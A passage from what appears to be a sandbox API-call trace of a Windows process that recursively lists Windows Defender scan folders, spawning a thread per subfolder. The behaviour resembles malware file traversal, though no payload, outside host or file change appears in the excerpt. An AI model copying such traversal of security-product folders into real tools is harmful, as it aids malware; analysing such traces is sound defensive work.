ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.txt", cAlternateFileName="")) returned 0 [0083.008] FindClose (in: hFindFile=0x33e0098 | out: hFindFile=0x33e0098) returned 1 [0083.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4850) returned 1 [0083.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0490) returned 1 [0083.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6c60) returned 1 [0083.008] RtlExitUserThread (Status=0x0) Thread: id = 903 os_tid = 0x1520 [0078.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eab90 [0078.648] wcscpy (in: _Dest=0x33eab90, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry" [0078.648] wcscat (in: _Dest=0x33eab90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry\\" [0078.648] wcscat (in: _Dest=0x33eab90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry\\*" [0078.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4ab8 [0078.648] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry\\*", lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc270158c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e00d8 [0078.650] wcscmp (_String1=".", _String2=".") returned 0 [0078.650] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc270158c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.650] wcscmp (_String1="..", _String2=".") returned 1 [0078.650] wcscmp (_String1="..", _String2="..") returned 0 [0078.650] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc270158c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.650] FindClose (in: hFindFile=0x33e00d8 | out: hFindFile=0x33e00d8) returned 1 [0078.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4ab8) returned 1 [0078.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eab90) returned 1 [0078.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c6b8) returned 1 [0078.650] RtlExitUserThread (Status=0x0) Thread: id = 904 os_tid = 0x1524 [0078.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2960 [0078.651] wcscpy (in: _Dest=0x33e2960, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" [0078.653] wcscat (in: _Dest=0x33e2960, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\" [0078.653] wcscat (in: _Dest=0x33e2960, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\*" [0078.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4ab8 [0078.653] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\*", lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2703fb5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac58c824, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e00d8 [0078.654] wcscmp (_String1=".", _String2=".") returned 0 [0078.654] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2703fb5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac58c824, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.654] wcscmp (_String1="..", _String2=".") returned 1 [0078.654] wcscmp (_String1="..", _String2="..") returned 0 [0078.654] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc278a841, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Entries", cAlternateFileName="")) returned 1 [0078.654] wcscmp (_String1="Entries", _String2=".") returned 1 [0078.654] wcscmp (_String1="Entries", _String2="..") returned 1 [0078.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c000 [0078.654] wcscpy (in: _Dest=0x348c000, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" [0078.654] wcscat (in: _Dest=0x348c000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\" [0078.654] wcscat (in: _Dest=0x348c000, _Source="Entries" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries" [0083.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x348c000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0083.004] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283e428, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceData", cAlternateFileName="RESOUR~1")) returned 1 [0083.004] wcscmp (_String1="ResourceData", _String2=".") returned 1 [0083.004] wcscmp (_String1="ResourceData", _String2="..") returned 1 [0083.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb310 [0083.004] wcscpy (in: _Dest=0x33eb310, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" [0083.004] wcscat (in: _Dest=0x33eb310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\" [0083.004] wcscat (in: _Dest=0x33eb310, _Source="ResourceData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData" [0083.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eb310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0083.005] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283ed5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~2")) returned 1 [0083.005] wcscmp (_String1="Resources", _String2=".") returned 1 [0083.005] wcscmp (_String1="Resources", _String2="..") returned 1 [0083.005] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eaeb0 [0083.005] wcscpy (in: _Dest=0x33eaeb0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" [0083.005] wcscat (in: _Dest=0x33eaeb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\" [0083.005] wcscat (in: _Dest=0x33eaeb0, _Source="Resources" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources" [0083.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eaeb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0083.006] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283ed5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~2")) returned 0 [0083.006] FindClose (in: hFindFile=0x33e00d8 | out: hFindFile=0x33e00d8) returned 1 [0083.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4ab8) returned 1 [0083.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2960) returned 1 [0083.006] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f018) returned 1 [0083.006] RtlExitUserThread (Status=0x0) Thread: id = 905 os_tid = 0x1528 [0078.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x347eb50 [0078.655] wcscpy (in: _Dest=0x347eb50, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" [0078.655] wcscat (in: _Dest=0x347eb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\" [0078.655] wcscat (in: _Dest=0x347eb50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*" [0078.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4d20 [0078.655] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1712929f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc28a95cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3125c62, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0118 [0078.657] wcscmp (_String1=".", _String2=".") returned 0 [0078.657] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1712929f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc28a95cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3125c62, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.657] wcscmp (_String1="..", _String2=".") returned 1 [0078.657] wcscmp (_String1="..", _String2="..") returned 0 [0078.657] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1712929f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc28aa444, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1712929f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CacheManager", cAlternateFileName="CACHEM~1")) returned 1 [0078.657] wcscmp (_String1="CacheManager", _String2=".") returned 1 [0078.657] wcscmp (_String1="CacheManager", _String2="..") returned 1 [0078.657] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb3b0 [0078.658] wcscpy (in: _Dest=0x33eb3b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" [0078.658] wcscat (in: _Dest=0x33eb3b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\" [0078.658] wcscat (in: _Dest=0x33eb3b0, _Source="CacheManager" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" [0082.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eb3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0082.997] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2297c25, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xc28aac86, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2dde708, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mput", cAlternateFileName="")) returned 1 [0082.997] wcscmp (_String1="Mput", _String2=".") returned 1 [0082.998] wcscmp (_String1="Mput", _String2="..") returned 1 [0082.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2e70 [0082.998] wcscpy (in: _Dest=0x33e2e70, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" [0082.998] wcscat (in: _Dest=0x33e2e70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\" [0082.998] wcscat (in: _Dest=0x33e2e70, _Source="Mput" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput" [0082.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e2e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0082.998] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2958c27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RemCheck", cAlternateFileName="")) returned 1 [0082.999] wcscmp (_String1="RemCheck", _String2=".") returned 1 [0082.999] wcscmp (_String1="RemCheck", _String2="..") returned 1 [0082.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x348b718 [0082.999] wcscpy (in: _Dest=0x348b718, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" [0082.999] wcscat (in: _Dest=0x348b718, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\" [0082.999] wcscat (in: _Dest=0x348b718, _Source="RemCheck" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\RemCheck" [0082.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x348b718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0082.999] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29d8813, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1 [0082.999] wcscmp (_String1="Results", _String2=".") returned 1 [0082.999] wcscmp (_String1="Results", _String2="..") returned 1 [0082.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2720 [0082.999] wcscpy (in: _Dest=0x33e2720, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" [0082.999] wcscat (in: _Dest=0x33e2720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\" [0083.000] wcscat (in: _Dest=0x33e2720, _Source="Results" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results" [0083.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e2720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0083.000] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1717573f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29d9954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1717573f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1 [0083.000] wcscmp (_String1="Service", _String2=".") returned 1 [0083.000] wcscmp (_String1="Service", _String2="..") returned 1 [0083.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e3020 [0083.000] wcscpy (in: _Dest=0x33e3020, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" [0083.000] wcscat (in: _Dest=0x33e3020, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\" [0083.000] wcscat (in: _Dest=0x33e3020, _Source="Service" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service" [0083.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e3020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0083.001] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29da6f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1 [0083.001] wcscmp (_String1="Store", _String2=".") returned 1 [0083.001] wcscmp (_String1="Store", _String2="..") returned 1 [0083.001] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e23c0 [0083.001] wcscpy (in: _Dest=0x33e23c0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" [0083.001] wcscat (in: _Dest=0x33e23c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\" [0083.001] wcscat (in: _Dest=0x33e23c0, _Source="Store" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store" [0083.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e23c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0083.002] FindNextFileW (in: hFindFile=0x33e0118, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29da6f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fad6a80, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 0 [0083.002] FindClose (in: hFindFile=0x33e0118 | out: hFindFile=0x33e0118) returned 1 [0083.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4d20) returned 1 [0083.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347eb50) returned 1 [0083.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd2f0) returned 1 [0083.003] RtlExitUserThread (Status=0x0) Thread: id = 906 os_tid = 0x152c [0078.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347ece8 [0078.658] wcscpy (in: _Dest=0x347ece8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" [0078.658] wcscat (in: _Dest=0x347ece8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\" [0078.658] wcscat (in: _Dest=0x347ece8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\*" [0078.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4f88 [0078.658] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows 